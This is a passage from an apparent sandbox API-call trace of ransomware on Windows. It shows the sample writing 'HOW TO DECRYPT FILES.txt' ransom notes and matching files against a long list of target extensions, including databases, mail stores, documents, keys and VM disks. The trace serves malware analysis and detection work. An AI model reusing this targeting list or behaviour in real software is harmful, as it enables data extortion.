dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.SDHost.resources.dll", cAlternateFileName="")) returned 1 [0100.408] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.408] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.SDHost.resources.dll") returned -1 [0100.408] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.SDHost.resources.dll") returned -1 [0100.408] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.SDHost.resources.dll") returned -1 [0100.408] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\*.*") returned="*.*" [0100.408] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\" [0100.408] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\") returned="" [0100.408] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.408] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.sdhost.resources\\1.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.408] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.sdhost.resources\\1.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.409] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.411] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.411] CloseHandle (hObject=0x90) returned 1 [0100.411] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\", lpString2="Microsoft.Windows.Diagnosis.SDHost.resources.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll" [0100.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.ems") returned 0 [0100.411] lstrlenA (lpString="*.ems") returned 5 [0100.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.db") returned 0 [0100.412] lstrlenA (lpString="*.db") returned 4 [0100.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.dbf") returned 0 [0100.412] lstrlenA (lpString="*.dbf") returned 5 [0100.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.myox") returned 0 [0100.412] lstrlenA (lpString="*.myox") returned 6 [0100.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.myo") returned 0 [0100.412] lstrlenA (lpString="*.myo") returned 5 [0100.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.qbw") returned 0 [0100.412] lstrlenA (lpString="*.qbw") returned 5 [0100.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.qbb") returned 0 [0100.412] lstrlenA (lpString="*.qbb") returned 5 [0100.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.qbm") returned 0 [0100.412] lstrlenA (lpString="*.qbm") returned 5 [0100.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.qbo") returned 0 [0100.412] lstrlenA (lpString="*.qbo") returned 5 [0100.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.qbx") returned 0 [0100.412] lstrlenA (lpString="*.qbx") returned 5 [0100.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.qba") returned 0 [0100.413] lstrlenA (lpString="*.qba") returned 5 [0100.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.qby") returned 0 [0100.413] lstrlenA (lpString="*.qby") returned 5 [0100.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.qbj") returned 0 [0100.413] lstrlenA (lpString="*.qbj") returned 5 [0100.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.ofx") returned 0 [0100.413] lstrlenA (lpString="*.ofx") returned 5 [0100.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.qif") returned 0 [0100.413] lstrlenA (lpString="*.qif") returned 5 [0100.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.mye") returned 0 [0100.413] lstrlenA (lpString="*.mye") returned 5 [0100.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.mbox") returned 0 [0100.413] lstrlenA (lpString="*.mbox") returned 6 [0100.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.eml") returned 0 [0100.413] lstrlenA (lpString="*.eml") returned 5 [0100.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.pst") returned 0 [0100.413] lstrlenA (lpString="*.pst") returned 5 [0100.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.ost") returned 0 [0100.413] lstrlenA (lpString="*.ost") returned 5 [0100.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.idx") returned 0 [0100.414] lstrlenA (lpString="*.idx") returned 5 [0100.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.dbx") returned 0 [0100.414] lstrlenA (lpString="*.dbx") returned 5 [0100.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.sql") returned 0 [0100.414] lstrlenA (lpString="*.sql") returned 5 [0100.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.mdb") returned 0 [0100.414] lstrlenA (lpString="*.mdb") returned 5 [0100.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.fdb") returned 0 [0100.414] lstrlenA (lpString="*.fdb") returned 5 [0100.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.wab") returned 0 [0100.414] lstrlenA (lpString="*.wab") returned 5 [0100.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.dat") returned 0 [0100.415] lstrlenA (lpString="*.dat") returned 5 [0100.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.txt") returned 0 [0100.415] lstrlenA (lpString="*.txt") returned 5 [0100.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.jpeg") returned 0 [0100.415] lstrlenA (lpString="*.jpeg") returned 6 [0100.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.jpg") returned 0 [0100.415] lstrlenA (lpString="*.jpg") returned 5 [0100.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.png") returned 0 [0100.415] lstrlenA (lpString="*.png") returned 5 [0100.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.php") returned 0 [0100.415] lstrlenA (lpString="*.php") returned 5 [0100.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.cs") returned 0 [0100.415] lstrlenA (lpString="*.cs") returned 4 [0100.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.cpp") returned 0 [0100.415] lstrlenA (lpString="*.cpp") returned 5 [0100.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.rar") returned 0 [0100.415] lstrlenA (lpString="*.rar") returned 5 [0100.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.zip") returned 0 [0100.415] lstrlenA (lpString="*.zip") returned 5 [0100.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.html") returned 0 [0100.416] lstrlenA (lpString="*.html") returned 6 [0100.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.htm") returned 0 [0100.416] lstrlenA (lpString="*.htm") returned 5 [0100.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.xlsx") returned 0 [0100.416] lstrlenA (lpString="*.xlsx") returned 6 [0100.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.xls") returned 0 [0100.416] lstrlenA (lpString="*.xls") returned 5 [0100.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.mp4") returned 0 [0100.416] lstrlenA (lpString="*.mp4") returned 5 [0100.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.ppt") returned 0 [0100.416] lstrlenA (lpString="*.ppt") returned 5 [0100.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.pptx") returned 0 [0100.416] lstrlenA (lpString="*.pptx") returned 6 [0100.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.doc") returned 0 [0100.416] lstrlenA (lpString="*.doc") returned 5 [0100.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.dot") returned 0 [0100.416] lstrlenA (lpString="*.dot") returned 5 [0100.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.docx") returned 0 [0100.416] lstrlenA (lpString="*.docx") returned 6 [0100.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.7z") returned 0 [0100.417] lstrlenA (lpString="*.7z") returned 4 [0100.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.tar") returned 0 [0100.417] lstrlenA (lpString="*.tar") returned 5 [0100.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.bz2") returned 0 [0100.417] lstrlenA (lpString="*.bz2") returned 5 [0100.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.gz") returned 0 [0100.417] lstrlenA (lpString="*.gz") returned 4 [0100.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.mkv") returned 0 [0100.417] lstrlenA (lpString="*.mkv") returned 5 [0100.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.eml") returned 0 [0100.417] lstrlenA (lpString="*.eml") returned 5 [0100.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.msg") returned 0 [0100.417] lstrlenA (lpString="*.msg") returned 5 [0100.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.edb") returned 0 [0100.417] lstrlenA (lpString="*.edb") returned 5 [0100.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.accdb") returned 0 [0100.417] lstrlenA (lpString="*.accdb") returned 7 [0100.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.odb") returned 0 [0100.417] lstrlenA (lpString="*.odb") returned 5 [0100.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.java") returned 0 [0100.418] lstrlenA (lpString="*.java") returned 6 [0100.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.asm") returned 0 [0100.418] lstrlenA (lpString="*.asm") returned 5 [0100.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.pfx") returned 0 [0100.418] lstrlenA (lpString="*.pfx") returned 5 [0100.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.pem") returned 0 [0100.418] lstrlenA (lpString="*.pem") returned 5 [0100.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.p12") returned 0 [0100.418] lstrlenA (lpString="*.p12") returned 5 [0100.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.gpg") returned 0 [0100.418] lstrlenA (lpString="*.gpg") returned 5 [0100.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.vsd") returned 0 [0100.418] lstrlenA (lpString="*.vsd") returned 5 [0100.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.odg") returned 0 [0100.418] lstrlenA (lpString="*.odg") returned 5 [0100.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.raw") returned 0 [0100.418] lstrlenA (lpString="*.raw") returned 5 [0100.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.nef") returned 0 [0100.418] lstrlenA (lpString="*.nef") returned 5 [0100.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.svg") returned 0 [0100.418] lstrlenA (lpString="*.svg") returned 5 [0100.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.psd") returned 0 [0100.419] lstrlenA (lpString="*.psd") returned 5 [0100.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.vmx") returned 0 [0100.419] lstrlenA (lpString="*.vmx") returned 5 [0100.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.vmdk") returned 0 [0100.419] lstrlenA (lpString="*.vmdk") returned 6 [0100.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.vdi") returned 0 [0100.419] lstrlenA (lpString="*.vdi") returned 5 [0100.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.lay6") returned 0 [0100.419] lstrlenA (lpString="*.lay6") returned 6 [0100.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.mpeg") returned 0 [0100.419] lstrlenA (lpString="*.mpeg") returned 6 [0100.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.djvu") returned 0 [0100.419] lstrlenA (lpString="*.djvu") returned 6 [0100.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.tiff") returned 0 [0100.419] lstrlenA (lpString="*.tiff") returned 6 [0100.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.resources.dll", pszSpec="*.backup") returned 0 [0100.419] lstrlenA (lpString="*.backup") returned 8 [0100.419] PathMatchSpecA 